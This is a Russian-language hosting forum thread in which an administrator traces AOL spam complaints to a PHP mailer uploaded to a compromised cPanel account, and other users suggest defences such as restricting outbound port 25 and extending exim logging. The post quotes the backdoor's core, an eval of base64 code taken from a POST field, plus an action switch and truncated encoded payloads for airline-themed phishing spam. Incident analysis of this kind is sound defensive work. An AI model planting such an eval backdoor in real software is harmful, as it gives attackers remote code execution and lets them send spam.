До чего техника дошла (cPanel / [newmailcgi])

Romka_Kharkov
На сайте с 08.04.2009
Offline
485
1076

День добрый,

Пару дней расследовал происшествие на вверенном сервере, AOL жаловался что шел спам с машинки, трактовал какие-то письма, ID которых я не смог найти у себя в maillog, я сперва думал что это какой-то развод и кто-то подставляет AOL адреса для переписки, но реально все не так :D

Во первых письма слали на прямую минуя мой SMTP, отсюда полное отсутствие ID в очередях на моей стороне и.т.п, закрыл возможность коннектится на any:25 (outgoing), какое-то время продержалось, потом снова пошел спам, опять AOL жалуется, начал расследовать скрипты содержащие контент (из абузы), он практически однотипный, решил искать так, очень долго колбасил по винту, совпадений нуль.... скрипт в cpanel который уведомляет о том, что был залит какой либо скрипт с mail() и еже с ними функциями - молчит, колапс реальный.

Пришлось включить всевозможные хидеры в PHP , на perl написать wrapper спростенький и негодяй был идентифицирован, на некий сайт был залит php файлик который и служил рассыльщиком спама. Ну закончить бы на этом все и все... дак нет, заинтересовали меня нутри скрипта, начал изучать и понял почему cpanel скрипт ничего не обнаружил.


......

function send()
{
$code = base64_decode($_POST["projectcode"]);

eval($code);
}

написал доп. обработчик в тот же самый файлик и начал ждать, и ждать пришлось не долго, уже в течении получаса на указанный скрипт поступил POST запрос следующего содержания:


$messages = "YToxOntpOjA7YToxOntzOjc6Im1lc3NhZ2UiO3M6ODgzOiJ7RGVhciBDdXN0b21lcix8SGVsbG99PEJSPgoKPEJSPgoKRkxJR0hUIE5VTUJFUiB7QTg1M3xBQTc4MXxBQTYzNHxBOTE1fEE4Mjd8QUE3MTF8QUE5OTV
8QTk4MXxBOTI3==";


$froms =
"YToyNjp7aTowO2E6MTp7czo0OiJmcm9tIjtzOjQ0OiIiQW1lcmljYW4gQWlybGluZXMiIDxvcmRlci5pZFtOVU0tNF1AYWEuY29tPiI7fWk6MTthOjE6e3M6NDoiZnJvbSI7czo0MzoiIkFtZXJpY2FuIEFpcmxpbmVzIi
............";

$projectcode= "............";
etc...

Итого получается, что само тело вредоносного сценария засылается с каждым POST запросом... формируясь на стороне злоумышленника, потом оно кодируется, и уже на стороне зараженной машины выполняется в момент обращения к скрипту, таким образом никакие чекеры файловой системы не смогут обнаружить в этом сценарии подвоха.

Изучив то, что приходит вместе с POST ничего военного не открылось, обычный сценарий который собирает письмо и шлет его путем mail(); подставляя нужные значения в поля хидеров при формировании исходящего сообщения.

Возможно кому-то будет полезен сей опыт. Дерзайте!

С Уважением,

Есть около 15.000 ipv4 !!! (http://onyx.net.ua/price.php#ipv4) Качественный хостинг с 2005 года - лучшее клиентам! (http://onyx.net.ua/)
iHead
На сайте с 25.04.2008
Offline
137
#1

ничего нового :)

Рекомендуемый хостинг партнер 1С-Битрикс (https://www.ihead.ru/bitrix/), PHP-хостинг (https://www.ihead.ru/php/), доверенный партнер RU-CENTER (https://www.ihead.ru/news/573.html), официальный представитель REG.RU в Кирове (https://www.ihead.ru/news/851.html)
VO
На сайте с 27.07.2008
Offline
149
#2

Romka_Kharkov, 25 tcp out разрешите только uid/gid от которого работает exim.

Тогда все будет в логах mta.

В exim в log_selector попробуйте включить +arguments, должно быть видно cwd=/home/user/....

Также полезно заглядывать в suexec_log )

Romka_Kharkov
На сайте с 08.04.2009
Offline
485
#3
V(o)ViK:
Romka_Kharkov, 25 tcp out разрешите только uid/gid от которого работает exim.
Тогда все будет в логах mta.
В exim в log_selector попробуйте включить +arguments, должно быть видно cwd=/home/user/....
Также полезно заглядывать в suexec_log )

Насчет исхода по 25 я прекрасно понимаю, именно так и работает на всех серверах, логи Exim-a последнее время сократил, потому , что жрать места много начинают не серьезно, а так были расширенные :D просто сервер дали этот недавно вот с такой проблемой, видимо местные не смогли разобраться :D

Romka_Kharkov добавил 15-12-2011 в 16:14

iHead:
ничего нового :)

Если вы ждали разоблачения теории заговора против человечества... то да.... ничего нового, а для меня честно говоря было вновь такое поведение спамера, обычно тупо скрипт заливают который или сам уже готов стрелять или передают на него куда стрелять.... а тут блин система целая, кусок кода POST запросом передается...... надо кстати наверное взвесить POST этот... ))) может на стадии php порезать можно по размеру ??? :D

Кстати а кто в курсе eval() в "обычном коде" часто используется?

izbushka
На сайте с 08.06.2007
Offline
110
#4
Romka_Kharkov:
надо кстати наверное взвесить POST этот... ))) может на стадии php порезать можно по размеру ???

Кстати а кто в курсе eval() в "обычном коде" часто используется?

POST там не такой большой будет. Это ж текст. Спамер его еще и заархивировать сможет, если надо будет. А вот загрузка файлов на сервер через POST пострадает от такого лимита.

А eval да, часто используется: посмотрел только phpBB и roundcube интерфейсы - там есть.

Romka_Kharkov
На сайте с 08.04.2009
Offline
485
#5
izbushka:
POST там не такой большой будет. Это ж текст. Спамер его еще и заархивировать сможет, если надо будет. А вот загрузка файлов на сервер через POST пострадает от такого лимита.

А eval да, часто используется: посмотрел только phpBB и roundcube интерфейсы - там есть.

Да логично, там пара байт реально выходит :( Судя по логам к одному из акаунтов просто пароль был подобран, после всех моих нововведений сменил еще и пароль клиенту этому, по логам видно IP левый какой-то с паролем правильным .... :) Логи апача не стал пока изучать, если опять зальют после смены пароля тогда уже буду изучать логи.... Хотя... в том сценарии который я цитировал есть несколько переключателей, выглядит это так:


if (isset($_POST["action"]))
{
switch ($_POST["action"])
{
case "test":
test();
break;
case "setup":
projectcodes_setup();
break;
case "remove":
projectcodes_remove();
break;
default:
break;
}
return;
}

Судя по данному коду я понимаю, что злоумышленник может давать разные команды скрипту, а не тупо слать туда POST и все дела, но беда заключается в том, что в секциях функций project_*() и test() опять же есть часть данных которая приходит с пост запросом, отлавливать остальные actions как-то не сильно хочется, предполагаю там куски кода которые отвечают за скачивание какого либо файла в указанную директорию, а remove ... ну как бы удаление, если вдруг надо :D

В общем честно, для меня не ожиданный ход со стороны спамеров :D Любая cPanel по умолчанию хавает скрипты с mail(), при этому в панели есть SMTP Tweak который как раз закрывает SMTP на выход всем кроме mailmail, bla bla.... при таком положении дел фактически слать можно только через 127.0.0.1:25.... то есть все письма будут промаркированы..... а соответственно и вредитель будет моментально найден :D Непонятно :D

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий